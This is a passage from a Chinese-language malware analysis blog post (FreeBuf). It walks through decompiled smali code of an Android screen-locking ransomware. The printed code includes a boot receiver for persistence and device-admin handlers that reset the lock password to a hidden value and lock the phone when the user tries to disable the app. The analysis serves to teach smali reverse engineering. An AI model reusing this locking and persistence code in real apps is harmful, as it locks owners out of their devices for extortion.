00000226  const-string        v16, "626fcaf7df0278de9aff3aaca97a5b8c88fd66ed54f277cc91852adc95565ff06a5cfa22ea1bf0c0fae034132b8a4d212ba95bad14ad34cb812d751d9e47c41df05c9fffa333772bcd5089b13e5600c8fd9587ce8f403c4d5b8156d4d24c94bfd4ed91fb50e3c6a89f070393ab0a03f3"
0000022A  invoke-virtual/range StringBuffer->append(String)StringBuffer, v15 .. v16  # stringbuffer.append(v16)
00000230  move-result-object  v15
00000232  invoke-virtual      StringBuffer->toString()String, v15
00000238  move-result-object  v15
0000023A  move-object         v4, v15
0000023C  new-instance        v15, StringBuffer
00000240  move-object/from16  v19, v15
00000244  move-object/from16  v15, v19
00000248  move-object/from16  v16, v19
0000024C  invoke-direct/range StringBuffer-><init>()V, v16 .. v16  # stringbuffer2 = new StringBuffer()
00000252  move-object/from16  v16, v1
00000256  move-object/from16  v0, v16
0000025A  iget-object         v0, v0, s->Lycorisradiata:String
0000025E  move-object/from16  v16, v0
00000262  invoke-virtual/range StringBuffer->append(String)StringBuffer, v15 .. v16  # stringbuffer2.append(this.Lycorisradiata)
00000268  move-result-object  v15
0000026A  const-string        v16, "60ee210a612f306f774a08a5a865c657ead0311698369b26d95e1c6151b5ee326053086a53edd02dafd2ceff8b6797ceeb75bdd4821b3eb747f256bb22696f8854ba778baee912cbc74042d306579e70cf0965d9cb30c048"
0000026E  invoke-virtual/range StringBuffer->append(String)StringBuffer, v15 .. v16  # stringbuffer2.append(v16)
00000274  move-result-object  v15
00000276  invoke-virtual      StringBuffer->toString()String, v15
0000027C  move-result-object  v15
0000027E  move-object         v5, v15
00000280  new-instance        v15, StringBuffer
00000284  move-object/from16  v19, v15
00000288  move-object/from16  v15, v19
0000028C  move-object/from16  v16, v19
00000290  invoke-direct/range StringBuffer-><init>()V, v16 .. v16  # stringbuffer3 = new StringBuffer()
00000296  move-object/from16  v16, v1
0000029A  move-object/from16  v0, v16
0000029E  iget-object         v0, v0, s->Lycorisradiata:String
000002A2  move-object/from16  v16, v0
000002A6  invoke-virtual/range StringBuffer->append(String)StringBuffer, v15 .. v16  # stringbuffer3.append(this.Lycorisradiata)
000002AC  move-result-object  v15
000002AE  const-string        v16, "ebbcd47d6afa253eba111409c5ebe0a3751098207629ac6dcf5ffadff17f0330e3ed51aa320a6b30a613feffaf16a7bf"
000002B2  invoke-virtual/range StringBuffer->append(String)StringBuffer, v15 .. v16  # stringbuffer3.append(v16)
000002B8  move-result-object  v15
000002BA  invoke-virtual      StringBuffer->toString()String, v15
000002C0  move-result-object  v15
000002C2  move-object         v6, v15
000002C4  move-object         v15, v4
000002C6  invoke-static       DU->getbah(String)String, v15
000002CC  move-result-object  v15
000002CE  move-object         v7, v15
000002D0  move-object         v15, v5
000002D2  invoke-static       DU->getbah(String)String, v15
000002D8  move-result-object  v15
000002DA  move-object         v8, v15
000002DC  move-object         v15, v6
000002DE  invoke-static       DU->getbah(String)String, v15
000002E4  move-result-object  v15
000002E6  move-object         v9, v15
000002E8  move-object         v15, v1
000002EA  iget-object         v15, v15, s->wb:TextView
000002EE  move-object/from16  v16, v1
000002F2  move-object/from16  v0, v16
000002F6  iget-object         v0, v0, s->des:DU
000002FA  move-object/from16  v16, v0
000002FE  move-object/from16  v17, v7
00000302  invoke-virtual/range DU->decrypt(String)String, v16 .. v17
00000308  move-result-object  v16
0000030A  invoke-virtual/range TextView->append(CharSequence)V, v15 .. v16  # s.wb.append(s.des.decrypt(DU.getbah(v4)))
00000310  move-object         v15, v1
00000312  iget-object         v15, v15, s->bah:TextView
00000316  move-object/from16  v16, v1
0000031A  move-object/from16  v0, v16
0000031E  iget-object         v0, v0, s->des:DU
00000322  move-object/from16  v16, v0
00000326  move-object/from16  v17, v8
0000032A  invoke-virtual/range DU->decrypt(String)String, v16 .. v17
00000330  move-result-object  v16
00000332  invoke-virtual/range TextView->append(CharSequence)V, v15 .. v16  # s.wb.append(s.des.decrypt(DU.getbah(v5)))
00000338  move-object         v15, v1
0000033A  invoke-virtual      s->getResources()Resources, v15
00000340  move-result-object  v15
00000342  const/high16        v16, 0x7F060000
00000346  invoke-virtual/range Resources->openRawResource(I)InputStream, v15 .. v16
0000034C  move-result-object  v15
0000034E  move-object         v10, v15
00000350  move-object         v15, v10
00000352  invoke-static       BAH->getString(InputStream)String, v15  # string = BAH.getString(s.getResources().openRawResource(0x7F060000))
00000358  move-result-object  v15
0000035A  move-object         v11, v15
0000035C  move-object         v15, v11
0000035E  const-string        v16, "\n"
00000362  const-string        v17, ""
00000366  invoke-virtual/range String->replaceAll(String, String)String, v15 .. v17  # string.replaceAll("\n", "")
0000036C  move-result-object  v15
0000036E  move-object         v12, v15
00000370  move-object         v15, v12
00000372  invoke-static       DU->getsss(String)String, v15
00000378  move-result-object  v15
0000037A  move-object         v13, v15
0000037C  move-object         v15, v1
0000037E  iget-object         v15, v15, s->cjk:TextView
00000382  move-object/from16  v16, v13
00000386  invoke-virtual/range TextView->append(CharSequence)V, v15 .. v16  # s.cjk.append(DU.getsss(string))
0000038C  move-object         v15, v1
0000038E  iget-object         v15, v15, s->tv:TextView
00000392  move-object/from16  v16, v1
00000396  move-object/from16  v0, v16
0000039A  iget-object         v0, v0, s->des:DU
0000039E  move-object/from16  v16, v0
000003A2  move-object/from16  v17, v9
000003A6  invoke-virtual/range DU->decrypt(String)String, v16 .. v17
000003AC  move-result-object  v16
000003AE  invoke-virtual/range TextView->append(CharSequence)V, v15 .. v16
:3B4
000003B4  return-void
:3B6
000003B6  move-exception      v15
000003B8  move-object         v4, v15
000003BA  goto                :3B4
          .catch Exception {:1F8 .. :3B4} :3B6
.end method

s服务小结:主要提供解锁服务和一些布局界面的设置。

2) 开机完成的广播接收器bbb。

<receiver android:name="bbb">
    <intent-filter android:priority="2147483647">
      <action android:name="android.intent.action.BOOT_COMPLETED" />
    </intent-filter>
  </receiver>

很明显,由下面的分析可以知道这是一个开机启动s服务的广播。

.method public onReceive(Context, Intent)V
        .registers 18
        .annotation system Signature
            value = {
                "(",
                "Landroid/content/Context;",
                "Landroid/content/Intent;",
                ")V"
            }
        .end annotation
        .annotation runtime Override
        .end annotation
00000000  move-object         v0, p0
00000002  move-object/from16  v1, p1
00000006  move-object/from16  v2, p2  # mIntent
0000000A  move-object         v7, v2
0000000C  invoke-virtual      Intent->getAction()String, v7
00000012  move-result-object  v7
00000014  const-string        v8, "android.intent.action.BOOT_COMPLETED"
00000018  invoke-virtual      String->equals(Object)Z, v7, v8  # mIntent.getAction.equals("android.intent.action.BOOT_COMPLETED")
0000001E  move-result         v7
00000020  if-eqz              v7, :66
:24
00000024  move-object         v7, v0
00000026  invoke-virtual      bbb->abortBroadcast()V, v7  # this.abortBroadcast()
0000002C  new-instance        v7, Intent
00000030  move-object         v14, v7
00000032  move-object         v7, v14
00000034  move-object         v8, v14
00000036  move-object         v9, v1
:38
00000038  const-string        v10, "com.cjk.s"
0000003C  invoke-static       Class->forName(String)Class, v10  # class.forName("com.cjk.s")
:42
00000042  move-result-object  v10
00000044  invoke-direct       Intent-><init>(Context, Class)V, v8, v9, v10  # intent2 = new Intent(context, class.forName("com.cjk.s"))
0000004A  move-object         v4, v7
0000004C  move-object         v7, v4
0000004E  const/high16        v8, 0x10000000
00000052  invoke-virtual      Intent->addFlags(I)Intent, v7, v8  # intent2.addFlags(0x10000000)
00000058  move-result-object  v7
0000005A  move-object         v7, v1
0000005C  move-object         v8, v4
0000005E  invoke-virtual      Context->startService(Intent)ComponentName, v7, v8  # startService(intent2)
00000064  move-result-object  v7
:66
00000066  return-void

3)设备管理员激活时的广播接收器。

<receiver android:description="@string/hello" android:name=".MyAdmin">
    <meta-data android:name="android.app.device_admin" android:resource="@xml/my_admin" />
    <intent-filter>
      <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
    </intent-filter>
  </receiver>

一旦用户点击确认激活设备管理器,首先执行onEnabled方法,重置锁屏密码,然后触发密码更改后调用的方法onPasswordChanged,进行了锁屏行为,并且在用户想要解除该设备管理员身份的时候也会进行锁屏行为。

.method public onEnabled(Context, Intent)V
        .registers 22
        .annotation system Signature
            value = {
                "(",
                "Landroid/content/Context;",
                "Landroid/content/Intent;",
                ")V"
            }
        .end annotation
        .annotation runtime Override
        .end annotation
00000000  move-object/from16  v0, p0
00000004  move-object/from16  v1, p1
00000008  move-object/from16  v2, p2
0000000C  move-object         v11, v1
0000000E  invoke-virtual      Context->getResources()Resources, v11
00000014  move-result-object  v11
00000016  const               v12, 0x7F060002
0000001C  invoke-virtual      Resources->openRawResource(I)InputStream, v11, v12
00000022  move-result-object  v11
00000024  move-object         v4, v11
00000026  move-object         v11, v4
00000028  invoke-static       BAH->getString(InputStream)String, v11  # BAH.getString(context.getResources().openRawResource(0x7f060002))
0000002E  move-result-object  v11
00000030  move-object         v5, v11
00000032  move-object         v11, v5
00000034  const-string        v12, "\n"
00000038  const-string        v13, ""
0000003C  invoke-virtual      String->replaceAll(String, String)String, v11, v12, v13
00000042  move-result-object  v11
00000044  move-object         v6, v11
00000046  move-object         v11, v6
00000048  invoke-static       DU->getsss(String)String, v11  # passwd = DU.getsss(BAH.getString(context.getResources().openRawResource(0x7f060002)).replace("\n", ""))
0000004E  move-result-object  v11
00000050  move-object         v7, v11
00000052  new-instance        v11, Intent
00000056  move-object/from16  v18, v11
0000005A  move-object/from16  v11, v18
0000005E  move-object/from16  v12, v18
00000062  move-object         v13, v1
:64
00000064  const-string        v14, "com.cjk.s"
00000068  invoke-static       Class->forName(String)Class, v14
:6E
0000006E  move-result-object  v14
00000070  invoke-direct       Intent-><init>(Context, Class)V, v12, v13, v14  # intent = new Intent(Class.forName("com.cjk.s"))
00000076  move-object         v8, v11
00000078  move-object         v11, v8
0000007A  const/high16        v12, 0x10000000
0000007E  invoke-virtual      Intent->setFlags(I)Intent, v11, v12
00000084  move-result-object  v11
00000086  move-object         v11, v1
00000088  move-object         v12, v8
0000008A  invoke-virtual      Context->startService(Intent)ComponentName, v11, v12  # startService(intent)
00000090  move-result-object  v11
00000092  move-object         v11, v0
00000094  move-object         v12, v1
00000096  invoke-virtual      MyAdmin->getManager(Context)DevicePolicyManager, v11, v12  # this.getManager(context)
0000009C  move-result-object  v11
0000009E  move-object         v12, v7
000000A0  const/4             v13, 0
000000A2  invoke-virtual      DevicePolicyManager->resetPassword(String, I)Z, v11, v12, v13  # this.getManager(context).resetPassword(passwd, 0)
000000A8  move-result         v11
000000AA  move-object         v11, v0
000000AC  move-object         v12, v1
000000AE  move-object         v13, v2
000000B0  invoke-super        DeviceAdminReceiver->onEnabled(Context, Intent)V, v11, v12, v13
000000B6  return-void

代码大致相同,不再赘述。

  @Override public void onPasswordChanged(Context arg13, Intent arg14) {
      String v7 = DU.getsss(BAH.getString(arg13.getResources().openRawResource(0x7F060002)).replaceAll("\n", ""));
      this.getManager(arg13).lockNow();
      this.getManager(arg13).resetPassword(v7, 0);
      super.onPasswordChanged(arg13, arg14);
  }

  @Override public CharSequence onDisableRequested(Context arg13, Intent arg14) {
      String v7 = DU.getsss(BAH.getString(arg13.getResources().openRawResource(0x7F060002)).replaceAll("\n", ""));
      this.getManager(arg13).lockNow();
      this.getManager(arg13).resetPassword(v7, 0);
      return super.onDisableRequested(arg13, arg14);
  }

4) 启动Activity主要在oncreate方法中,调用了开启激活设备管理员的界面。

.method private activiteDevice()V
        .registers 15
        .annotation system Signature
            value = {
                "()V"
            }
        .end annotation
00000000  move-object         v0, p0
00000002  new-instance        v6, Intent
00000006  move-object         v13, v6
00000008  move-object         v6, v13
0000000A  move-object         v7, v13
0000000C  const-string        v8, "android.app.action.ADD_DEVICE_ADMIN"
00000010  invoke-direct       Intent-><init>(String)V, v7, v8  # intent = new Intent("android.app.action.ADD_DEVICE_ADMIN")
00000016  move-object         v2, v6
00000018  new-instance        v6, ComponentName
0000001C  move-object         v13, v6
0000001E  move-object         v6, v13
00000020  move-object         v7, v13
00000022  move-object         v8, v0
:24
00000024  const-string        v9, "com.cjk.MyAdmin"
00000028  invoke-static       Class->forName(String)Class, v9  # Class.forName("com.cjk.MyAdmin")
:2E
0000002E  move-result-object  v9
00000030  invoke-direct       ComponentName-><init>(Context, Class)V, v7, v8, v9  # mConponent = new ComponentName(this, Class.forName("com.cjk.MyAdmin"))
00000036  move-object         v3, v6
00000038  move-object         v6, v2
0000003A  const-string        v7, "android.app.extra.DEVICE_ADMIN"
0000003E  move-object         v8, v3
00000040  invoke-virtual      Intent->putExtra(String, Parcelable)Intent, v6, v7, v8  # intent.putExtra("android.app.extra.DEVICE_ADMIN", mConponent)
00000046  move-result-object  v6
00000048  move-object         v6, v0
0000004A  move-object         v7, v2
0000004C  const/4             v8, 0
0000004E  invoke-virtual      M->startActivityForResult(Intent, I)V, v6, v7, v8  # startActivityForResult(intent, 0)

总结

至此,基本全部分析完毕,主要在这个分析的过程中来了解smali语法,当编译成java的语法出错时可以看汇编代码,当然也可以尝试进行一些软件破解行为。

参考

google官方smali语法 https://source.android.com/devices/tech/dalvik/dalvik-bytecode

Dalvik opcodes http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html

深入理解Dalvik字节码指令及Smali文件 https://blog.csdn.net/dd864140130/article/details/52076515

*本文作者:xiongchaochao,转载请注明来自FreeBuf.COM

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